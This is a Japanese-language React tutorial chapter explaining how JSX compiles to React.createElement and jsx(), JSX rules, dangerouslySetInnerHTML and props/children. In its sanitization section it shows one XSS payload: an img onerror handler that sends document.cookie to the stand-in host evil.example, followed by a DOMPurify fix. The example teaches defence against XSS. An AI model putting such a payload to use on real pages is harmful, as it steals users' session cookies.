ウェブエンジニア問題集

JSXとコンポーネント — 描画の仕組みからpropsまで

JSXは、JavaScriptの構文拡張であり、見た目に近い形でUIツリーを書ける記法です。 ビルド時に React.createElement 呼び出しへ変換され、ブラウザが理解できる形になります。

そもそもJSXとは何か — React.createElement の糖衣構文

学習者学習者

さっきから <h1> みたいなタグをJavaScriptの中に書いてるけど、これってブラウザがそのまま読めるの?HTMLでもないよね…?

とても良い疑問です。結論から言うと、ブラウザはJSXをそのまま読めません。

ブラウザが理解できるのは HTML・CSS・JavaScript の3つだけです。JSX(<h1>こんにちは</h1> のような書き方)はReact独自の記法なので、そのままでは動きません。

ではどうしているかというと、ビルド(プログラムを動かす前の準備)のタイミングで、JSXをただのJavaScriptに「翻訳」しているのです。この翻訳されたあとのJavaScriptがブラウザに渡されて動きます。

つまりJSXの正体は、React.createElement という関数を呼び出すための、人間にとって読みやすい書き方(糖衣構文 / シンタックスシュガー) だと言えます。

ステップ1: JSXは「関数の呼び出し」に翻訳される

実際にどう翻訳されるのか、一番シンプルな例で見てみましょう。

// 私たちが書くJSX(人間に読みやすい)
const element = <h1 className="title">こんにちは</h1>;
 
// ↓ ビルド時にこう翻訳される(これがブラウザが実際に動かすコード)
const element = React.createElement('h1', { className: 'title' }, 'こんにちは');

上下のコードはまったく同じ意味です。<h1 className="title">こんにちは</h1> と書くのも、React.createElement('h1', { className: 'title' }, 'こんにちは') と書くのも、Reactにとっては同じこと。私たちが楽をできるよう、見やすいJSXで書かせてくれているだけなのです。

先生先生

JSXは「見た目の皮」で、中身はただの関数呼び出し。まずはこのイメージを持っておけばOK!

ステップ2: React.createElement の3つの引数

翻訳先の React.createElement は、次の3つの情報を順番に受け取ります。

React.createElement(
  タグ名またはコンポーネント, // 第1引数: 'h1' や 'div'、自作の <Card> など
  props, // 第2引数: className や onClick などの属性(なければ null)
  ...子要素, // 第3引数以降: タグの中身(テキストや別の要素)
);

先ほどの例に当てはめると、

  • 第1引数 'h1' … どのタグを作るか
  • 第2引数 { className: 'title' } … そのタグに付ける属性
  • 第3引数 'こんにちは' … タグの中身

となります。HTMLの <h1 class="title">こんにちは</h1> を、関数の引数としてバラバラに渡し直しているイメージです。

ステップ3: 返ってくるのは「ただのオブジェクト」

データ(オブジェクト)を表すイメージ

ここが一番大事なポイントです。React.createElement は、呼び出してもまだ画面には何も表示しません。 代わりに「どんなUIを作りたいか」をメモしただけの、ただのJavaScriptオブジェクトを返します。

// React.createElement('h1', { className: 'title' }, 'こんにちは') の戻り値(イメージ)
{
  type: 'h1',          // どのタグか
  props: {
    className: 'title',
    children: 'こんにちは', // 中身
  },
  // ...ほかにReactが内部で使う情報
}

このオブジェクトを React要素 と呼びます。いわば「UIの設計図」です。

React要素を組み合わせたツリー全体が、よく聞く「仮想DOM」の正体です。そして最後に ReactDOM がこの設計図(オブジェクト)を読み取って、本物のDOM(=実際に画面に映るもの)を組み立てます。

JSXを書く → React.createElement に翻訳 → オブジェクト(React要素)を作る → ReactDOMが本物の画面にする

ネストすると createElement も入れ子になる

要素の中に要素を入れると、React.createElement も同じように入れ子になります。

// JSX
<section>
  <h2>タイトル</h2>
  <p>本文</p>
</section>;
 
// ↓ 翻訳後(子要素が入れ子の createElement になる)
React.createElement(
  'section',
  null, // 属性がないので null
  React.createElement('h2', null, 'タイトル'),
  React.createElement('p', null, '本文'),
);

いまどきのReactは React.createElement を書かない — 新しいJSX変換

Reactの進化のイメージ

ここまで「JSXは React.createElement に翻訳される」と説明してきました。実はこれは少し前のReactの話で、今のReactでは翻訳先が変わっています。 古い解説記事やサンプルコードとの違いに戸惑わないよう、ここでしっかり押さえておきましょう。

昔は import React が必須だった

React 16以前は、JSXを使うファイルの先頭で必ず React を読み込む必要がありました。

import React from 'react'; // これが無いとエラーになった
 
function Title() {
  return <h1>こんにちは</h1>;
}

理由はシンプルです。JSXは React.createElement(...) に翻訳されるため、React という変数がそのファイルに存在しないと、翻訳後のコードが動かなかったからです。

// JSX
return <h1>こんにちは</h1>;
 
// ↓ 翻訳後。React.createElement の "React" を使うので import が必要だった
return React.createElement('h1', null, 'こんにちは');

import React を書き忘れて React is not defined というエラーに悩まされるのは、初心者の通過儀礼のようなものでした。

React 17 から「自動変換」になった

2020年のReact 17で 「新しいJSX変換(automatic runtime)」 が導入され、状況が変わりました。

JSXの翻訳先が、React.createElement から react/jsx-runtime という専用モジュールの jsx() 関数 に変わったのです。しかもこの関数は、ビルドツールが自動で読み込んでくれるようになりました。

その結果、import React を自分で書く必要がなくなりました。

// 今のReact(React 17以降)。import React が無くても動く
function Title() {
  return <h1>こんにちは</h1>;
}
 
// ↓ 翻訳後(イメージ)。jsx を自動で読み込んでくれる
import { jsx as _jsx } from 'react/jsx-runtime';
return _jsx('h1', { children: 'こんにちは' });
学習者学習者

え、じゃあ今まで習った React.createElement の話はもう古いの…?覚え直し?

先生先生

大丈夫、安心して。変わったのは「翻訳先の関数の名前」だけ。「JSX → 関数呼び出し → オブジェクト(React要素)を返す」という本質はまったく同じだよ。

JSXのルール

1つのルート要素で返す

隣接した要素をそのまま並べて返すことはできません。親要素で包むか、React Fragment <></> を使います。

// NG
return (
  <h2>タイトル</h2>
  <p>本文</p>
);
 
// OK
return (
  <>
    <h2>タイトル</h2>
    <p>本文</p>
  </>
);

HTMLとの属性名の違い

JSXはJavaScriptなので、HTMLの予約語と衝突する属性名が変わっています。 classclassNameforhtmlFor が代表的です。 イベント属性もキャメルケースになります(onclickonClick)。

波括弧でJavaScript式を埋め込む

{} の中にはJavaScriptの式を書けます。変数、関数呼び出し、三項演算子など、値を返すものなら何でも入ります。

type User = { name: string };
 
function Welcome({ name }: User) {
  return (
    <section className="stack">
      <h2>ようこそ</h2>
      <p>{name} さん</p>
    </section>
  );
}

dangerouslySetInnerHTML — 生HTMLの埋め込み

なぜ文字列のHTMLタグはそのまま表示されるのか

HTMLタグがそのまま表示される疑問

HTMLタグを含む文字列を {} で埋め込んでも、タグとして解釈されずに文字列がそのまま画面に出ます。

const raw = "<strong>太字</strong>";
return <p>{raw}</p>;
// → 画面には「<strong>太字</strong>」という文字列がそのまま表示される

これはJSXではなくReact(ReactDOM)の仕組みです。処理の流れを見てみましょう。

まず、JSXはビルド時に React.createElement の呼び出しに変換されます。ここではまだエスケープは起きていません。

// JSX
<p>{raw}</p>
 
// ↓ ビルド時にこう変換される
React.createElement("p", null, raw);

エスケープが起きるのは、ReactDOMが仮想DOMを実際のDOMへ反映する段階です。 文字列の子要素に対して、ReactDOMは innerHTML ではなく textContent(テキストノード) としてDOMに挿入します。 textContent はブラウザが文字列をHTMLとして解釈しないため、タグがそのまま表示される、というわけです。

生HTMLを描画したいとき

CMSやMarkdownパーサーから返ってきたHTML文字列をそのまま描画したいときは、dangerouslySetInnerHTML を使います。 ReactDOMはこのpropが指定された要素に対しては innerHTML でHTMLを挿入します。

const html = "<strong>太字</strong>";
return <p dangerouslySetInnerHTML={{ __html: html }} />;
// → 画面には「太字」と太字で表示される

サニタイズ — なぜ必要で、何をするのか

XSSの危険に焦るイメージ

dangerouslySetInnerHTMLinnerHTML を使うため、渡したHTML文字列がそのままブラウザに解釈されます。 もしその文字列にユーザーが仕込んだ悪意あるコードが含まれていたら、そのまま実行されてしまいます。

<!-- ユーザーがコメント欄にこう入力したとする -->
<img src="x" onerror="document.location='https://evil.example/steal?cookie='+document.cookie" />

これが innerHTML 経由でDOMに入ると、ブラウザは onerror を実行し、Cookieが外部に送信されます。 これがクロスサイトスクリプティング(XSS) です。

サニタイズとは、HTML文字列から危険な要素・属性を取り除き、安全なHTMLだけを残す処理のことです。 具体的には <script> タグの除去、onerror などのイベント属性の除去、javascript: スキームのURL除去などを行います。

import DOMPurify from "dompurify";
 
const dirty = '<p>本文</p><script>alert("XSS")</script>';
const clean = DOMPurify.sanitize(dirty);
// → '<p>本文</p>'(scriptタグが除去される)
 
return <div dangerouslySetInnerHTML={{ __html: clean }} />;

実務では、Next.jsでのCMS連携やMDXコンテンツの表示など、フレームワーク側の機能と組み合わせて使うケースが中心です。 詳しくは「Next.jsからはじめよう」で扱います。

propsで部品を再利用する

コンポーネントは入力としてpropsオブジェクトを受け取ります。 親が子へ値や関数を渡し、子はそれを使って表示やイベント処理を行います。

よくあるpropsの種類として、表示用のデータ(ラベル、数値、画像URLなど)、見た目のバリアント("primary" | "ghost" のような列挙でクラスを切り替える)、コールバック(ボタンが押されたときに親へ通知する onClick など)があります。

propsは子から親へ直接書き換えないのが原則です。 変更が必要なら、親がstateを持ち、イベントでstateを更新して再度子へ流し込みます。

childrenスロット

タグの内側に書いた内容は、特別なprop children として渡せます。 レイアウト用のラッパーやカード枠など、「外枠は固定だが中身は呼び出し側が決める」パターンでよく使います。

function Card(props: { title: string; children: React.ReactNode }) {
  return (
    <article className="card">
      <h3>{props.title}</h3>
      <div>{props.children}</div>
    </article>
  );
}
 
// 使う側
<Card title="お知らせ">
  <p>明日は休業日です。</p>
</Card>;

次の章では、画面内で変化するデータを扱う useStateuseEffect(Hooks) に入ります。